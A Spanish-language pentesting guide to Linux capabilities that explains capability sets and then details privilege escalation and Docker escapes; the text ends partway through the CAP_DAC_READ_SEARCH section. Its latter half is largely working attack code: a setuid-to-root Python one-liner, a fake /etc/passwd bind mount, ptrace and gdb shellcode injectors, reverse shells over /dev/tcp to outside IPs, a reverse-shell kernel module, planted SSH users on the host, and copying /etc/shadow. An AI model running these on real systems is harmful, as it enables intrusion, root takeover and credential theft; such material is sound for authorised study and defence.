Linux Capabilities

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Capacidades de Linux

Las capacidades de Linux dividen los privilegios de root en unidades más pequeñas y distintas, permitiendo que los procesos tengan un subconjunto de privilegios. Esto minimiza los riesgos al no otorgar privilegios de root completos innecesariamente.

El Problema:

• Los usuarios normales tienen permisos limitados, afectando tareas como abrir un socket de red que requiere acceso de root.

Conjuntos de Capacidades:

1. Hereditarias (CapInh):

• Propósito: Determina las capacidades transmitidas desde el proceso padre.

• Funcionalidad: Cuando se crea un nuevo proceso, hereda las capacidades de su padre en este conjunto. Útil para mantener ciertos privilegios a través de la creación de procesos.

• Restricciones: Un proceso no puede adquirir capacidades que su padre no poseía.

1. Efectivas (CapEff):

• Propósito: Representa las capacidades reales que un proceso está utilizando en cualquier momento.

• Funcionalidad: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para los archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.

• Significado: El conjunto efectivo es crucial para las verificaciones inmediatas de privilegios, actuando como el conjunto activo de capacidades que un proceso puede usar.

1. Permitidas (CapPrm):

• Propósito: Define el conjunto máximo de capacidades que un proceso puede poseer.

• Funcionalidad: Un proceso puede elevar una capacidad del conjunto permitido a su conjunto efectivo, dándole la habilidad de usar esa capacidad. También puede eliminar capacidades de su conjunto permitido.

• Límite: Actúa como un límite superior para las capacidades que un proceso puede tener, asegurando que un proceso no exceda su alcance de privilegios predefinido.

1. Limitadas (CapBnd):

• Propósito: Establece un techo sobre las capacidades que un proceso puede adquirir durante su ciclo de vida.

• Funcionalidad: Incluso si un proceso tiene una cierta capacidad en su conjunto heredable o permitido, no puede adquirir esa capacidad a menos que también esté en el conjunto limitado.

• Caso de uso: Este conjunto es particularmente útil para restringir el potencial de escalada de privilegios de un proceso, añadiendo una capa extra de seguridad.

1. Ambientales (CapAmb):

• Propósito: Permite que ciertas capacidades se mantengan a través de una llamada al sistema execve, que normalmente resultaría en un reinicio completo de las capacidades del proceso.

• Funcionalidad: Asegura que los programas no SUID que no tienen capacidades de archivo asociadas puedan retener ciertos privilegios.

• Restricciones: Las capacidades en este conjunto están sujetas a las limitaciones de los conjuntos heredables y permitidos, asegurando que no excedan los privilegios permitidos del proceso.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Para más información, consulta:

• https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

• https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

Capacidades de Procesos y Binarios

Capacidades de Procesos

Para ver las capacidades de un proceso en particular, utiliza el archivo status en el directorio /proc. Como proporciona más detalles, limitaremos la información solo a la relacionada con las capacidades de Linux. Ten en cuenta que para todos los procesos en ejecución, la información de capacidades se mantiene por hilo; para los binarios en el sistema de archivos, se almacena en atributos extendidos.

Puedes encontrar las capacidades definidas en /usr/include/linux/capability.h

Puedes encontrar las capacidades del proceso actual en cat /proc/self/status o haciendo capsh --print y de otros usuarios en /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Este comando debería devolver 5 líneas en la mayoría de los sistemas.

• CapInh = Capacidades heredadas

• CapPrm = Capacidades permitidas

• CapEff = Capacidades efectivas

• CapBnd = Conjunto de límites

• CapAmb = Conjunto de capacidades ambientales

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Estos números hexadecimales no tienen sentido. Usando la utilidad capsh podemos decodificarlos en el nombre de las capacidades.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Vamos a revisar ahora las capabilities utilizadas por ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente utiliza la herramienta getpcaps seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso.

getpcaps 1234

Vamos a verificar aquí las capacidades de tcpdump después de haberle otorgado al binario suficientes capacidades (cap_net_admin y cap_net_raw) para espiar la red (tcpdump se está ejecutando en el proceso 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Como puedes ver, las capacidades dadas corresponden con los resultados de las 2 formas de obtener las capacidades de un binario. La herramienta getpcaps utiliza la llamada al sistema capget() para consultar las capacidades disponibles para un hilo particular. Esta llamada al sistema solo necesita proporcionar el PID para obtener más información.

Capacidades de los Binarios

Los binarios pueden tener capacidades que se pueden usar mientras se ejecutan. Por ejemplo, es muy común encontrar el binario ping con la capacidad cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Puedes buscar binarios con capacidades usando:

getcap -r / 2>/dev/null

Eliminando capacidades con capsh

Si eliminamos las capacidades CAP_NET_RAW para ping, entonces la utilidad ping ya no debería funcionar.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Además de la salida de capsh en sí, el comando tcpdump también debería generar un error.

/bin/bash: /usr/sbin/tcpdump: Operación no permitida

El error muestra claramente que el comando ping no tiene permiso para abrir un socket ICMP. Ahora sabemos con certeza que esto funciona como se esperaba.

Eliminar Capacidades

Puedes eliminar las capacidades de un binario con

setcap -r </path/to/binary>

User Capabilities

Aparentemente es posible asignar capacidades también a los usuarios. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario. Basado en esto, esto y esto, se deben configurar algunos archivos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será /etc/security/capability.conf. Ejemplo de archivo:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capacidades del Entorno

Compilando el siguiente programa es posible generar un shell bash dentro de un entorno que proporciona capacidades.

ambient.c

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

Dentro del bash ejecutado por el binario ambiental compilado es posible observar las nuevas capacidades (un usuario regular no tendrá ninguna capacidad en la sección "actual").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Solo puedes agregar capacidades que estén presentes en ambos conjuntos, el permitido y el heredable.

Binarios conscientes de capacidades / Binarios tontos en capacidades

Los binarios conscientes de capacidades no usarán las nuevas capacidades otorgadas por el entorno, sin embargo, los binarios tontos en capacidades las usarán ya que no las rechazarán. Esto hace que los binarios tontos en capacidades sean vulnerables dentro de un entorno especial que otorga capacidades a los binarios.

Capacidades del servicio

Por defecto, un servicio que se ejecuta como root tendrá asignadas todas las capacidades, y en algunas ocasiones esto puede ser peligroso. Por lo tanto, un archivo de configuración del servicio permite especificar las capacidades que deseas que tenga, y el usuario que debería ejecutar el servicio para evitar ejecutar un servicio con privilegios innecesarios:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Por defecto, Docker asigna algunas capacidades a los contenedores. Es muy fácil verificar cuáles son estas capacidades ejecutando:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

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Privesc/Container Escape

Las capacidades son útiles cuando quieres restringir tus propios procesos después de realizar operaciones privilegiadas (por ejemplo, después de configurar chroot y enlazar a un socket). Sin embargo, pueden ser explotadas al pasarles comandos o argumentos maliciosos que luego se ejecutan como root.

Puedes forzar capacidades en programas usando setcap, y consultar estas usando getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

El +ep significa que estás agregando la capacidad (“-” la eliminaría) como Efectiva y Permitida.

Para identificar programas en un sistema o carpeta con capacidades:

getcap -r / 2>/dev/null

Ejemplo de explotación

En el siguiente ejemplo, el binario /usr/bin/python2.6 se encuentra vulnerable a privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capacidades necesarias para que tcpdump permita a cualquier usuario esnifar paquetes:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

El caso especial de capacidades "vacías"

De la documentación: Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y así es posible crear un programa con set-user-ID-root que cambie el set-user-ID efectivo y guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que:

1. no es propiedad de root

2. no tiene bits SUID/SGID establecidos

3. tiene un conjunto de capacidades vacío (por ejemplo: getcap myelf devuelve myelf =ep)

entonces ese binario se ejecutará como root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN es una capacidad de Linux altamente potente, a menudo equiparada a un nivel casi root debido a sus extensos privilegios administrativos, como montar dispositivos o manipular características del kernel. Si bien es indispensable para contenedores que simulan sistemas completos, CAP_SYS_ADMIN plantea desafíos de seguridad significativos, especialmente en entornos contenedorizados, debido a su potencial para la escalada de privilegios y el compromiso del sistema. Por lo tanto, su uso requiere evaluaciones de seguridad rigurosas y una gestión cautelosa, con una fuerte preferencia por eliminar esta capacidad en contenedores específicos de aplicaciones para adherirse al principio de menor privilegio y minimizar la superficie de ataque.

Ejemplo con binario

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Usando python, puedes montar un archivo passwd modificado encima del archivo passwd real:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

Y finalmente montar el archivo passwd modificado en /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

Y podrás su como root usando la contraseña "password".

Ejemplo con entorno (Docker breakout)

Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro de la salida anterior, puedes ver que la capacidad SYS_ADMIN está habilitada.

• Montar

Esto permite que el contenedor de docker monte el disco del host y acceda a él libremente:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk

• Acceso completo

En el método anterior logramos acceder al disco del host de docker. En caso de que encuentres que el host está ejecutando un servidor ssh, podrías crear un usuario dentro del disco del host de docker y acceder a él a través de SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando dentro del host. Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con --pid=host.

CAP_SYS_PTRACE otorga la capacidad de utilizar funcionalidades de depuración y seguimiento de llamadas al sistema proporcionadas por ptrace(2) y llamadas de adjunto de memoria cruzada como process_vm_readv(2) y process_vm_writev(2). Aunque es poderoso para fines de diagnóstico y monitoreo, si CAP_SYS_PTRACE está habilitado sin medidas restrictivas como un filtro seccomp en ptrace(2), puede socavar significativamente la seguridad del sistema. Específicamente, puede ser explotado para eludir otras restricciones de seguridad, notablemente las impuestas por seccomp, como lo demuestran pruebas de concepto (PoC) como esta.

Ejemplo con binario (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep

import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Ejemplo con binario (gdb)

gdb con capacidad ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Crea un shellcode con msfvenom para inyectar en memoria a través de gdb

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (-len(buf) % 8) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Depurar un proceso root con gdb y copiar y pegar las líneas de gdb generadas anteriormente:

# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
set {long}($rip+8) = 0x5e016a5f026a9958
set {long}($rip+16) = 0x0002b9489748050f
set {long}($rip+24) = 0x48510b0e0a0a2923
set {long}($rip+32) = 0x582a6a5a106ae689
set {long}($rip+40) = 0xceff485e036a050f
set {long}($rip+48) = 0x6af675050f58216a
set {long}($rip+56) = 0x69622fbb4899583b
set {long}($rip+64) = 0x8948530068732f6e
set {long}($rip+72) = 0x050fe689485752e7
c' > commands.gdb
# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) source commands.gdb
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Ejemplo con entorno (Docker breakout) - Otro abuso de gdb

Si GDB está instalado (o puedes instalarlo con apk add gdb o apt install gdb, por ejemplo) puedes depurar un proceso desde el host y hacer que llame a la función system. (Esta técnica también requiere la capacidad SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

No podrás ver la salida del comando ejecutado, pero será ejecutado por ese proceso (así que obtén un rev shell).

Si obtienes el error "No symbol "system" in current context.", revisa el ejemplo anterior cargando un shellcode en un programa a través de gdb.

Ejemplo con entorno (Docker breakout) - Inyección de Shellcode

Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List processes running in the host ps -eaf

1. Get the architecture uname -m

2. Find a shellcode for the architecture (https://www.exploit-db.com/exploits/41128)

3. Find a program to inject the shellcode into a process memory (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

4. Modify the shellcode inside the program and compile it gcc inject.c -o inject

5. Inject it and grab your shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE empodera a un proceso para cargar y descargar módulos del kernel (init_module(2), finit_module(2) y delete_module(2) llamadas al sistema), ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos de seguridad críticos, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores. Esto significa que puedes insertar/quitar módulos del kernel en/el kernel de la máquina host.

Ejemplo con binario

En el siguiente ejemplo, el binario python tiene esta capacidad.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Por defecto, el comando modprobe verifica la lista de dependencias y los archivos de mapa en el directorio /lib/modules/$(uname -r). Para abusar de esto, creemos una carpeta falsa lib/modules:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Luego compila el módulo del kernel que puedes encontrar 2 ejemplos a continuación y cópialo en esta carpeta:

cp reverse-shell.ko lib/modules/$(uname -r)/

Finalmente, ejecuta el código python necesario para cargar este módulo del kernel:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Ejemplo 2 con binario

En el siguiente ejemplo, el binario kmod tiene esta capacidad.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Lo que significa que es posible usar el comando insmod para insertar un módulo del kernel. Sigue el ejemplo a continuación para obtener un reverse shell abusando de este privilegio.

Ejemplo con entorno (Docker breakout)

Puedes verificar las capacidades habilitadas dentro del contenedor de docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro de la salida anterior, puedes ver que la capacidad SYS_MODULE está habilitada.

Crea el módulo del kernel que va a ejecutar un reverse shell y el Makefile para compilarlo:

reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

El carácter en blanco antes de cada palabra make en el Makefile debe ser una tabulación, no espacios!

Ejecuta make para compilarlo.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Finalmente, inicia nc dentro de un shell y carga el módulo desde otro y capturarás el shell en el proceso de nc:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

El código de esta técnica fue copiado del laboratorio de "Abusing SYS_MODULE Capability" de https://www.pentesteracademy.com/

Otro ejemplo de esta técnica se puede encontrar en https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH permite a un proceso eludir los permisos para leer archivos y para leer y ejecutar directorios. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función open_by_handle_at(2), que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en open_by_handle_at(2) se supone que es un identificador no transparente obtenido a través de name_to_handle_at(2), pero puede incluir información sensible como números de inode que son vulnerables a la manipulación. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza aquí. Esto significa que puedes eludir las verificaciones de permisos de lectura de archivos y las verificaciones de permisos de lectura/ejecución de directorios.

Ejemplo con binario

El binario podrá leer cualquier archivo. Así que, si un archivo como tar tiene esta capacidad, podrá leer el archivo shadow:

cd /etc
tar -czf /tmp/shadow.tar.gz shadow #Compress show file in /tmp
cd /tmp
